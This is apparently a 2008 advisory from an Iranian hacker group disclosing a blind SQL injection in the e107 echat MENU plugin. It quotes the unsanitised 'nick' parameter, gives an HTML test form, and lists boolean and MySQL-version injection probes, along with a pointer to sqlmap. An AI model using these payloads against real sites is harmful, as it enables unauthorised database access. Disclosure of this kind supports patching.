e107 Plugin echat MENU Blind SQL Injection Vulnerability Jun 05 2008 12:46AM
hadihadi_zedehal_2006 yahoo com


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# ::e107 Plugin echat MENU Blind SQL Injection Vulnerability:: #

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Virangar Security Team

www.virangar.net

www.virangar.ir

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Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004

& my lovely friend arash(imm02tal)

-------vuln codes in:-----------

e107chat.php:

line 109: $nick = $_POST['nick'];

..

..

line 171:db_Select("user","user_name","user_name='".$nick."'");

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exploit:

[-]note=becuse e107 using diffrent prefix/table names it's impossible to writting exploit for it :(

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lets test the bug white a simply html form that post data to "e107chat.php" :

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<form method="post" action="http://localhost/e107/plugins/echat_menu/e107chat.php"><br>

nick:<input type="text" name="nick" size="20">

<br><input type="submit"><br>

</form>

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see the result:

nick: hadi and 1=1-- #page loaded whit any errors.

nick: hadi and 1=2-- #page loaded whit any data and some error

cheking the mysql version:

nick: hadi and substring(@@version,1,1)=5--

or

nick: hadi and substring(@@version,1,1)=4--

# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...

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young iranian h4ck3rz

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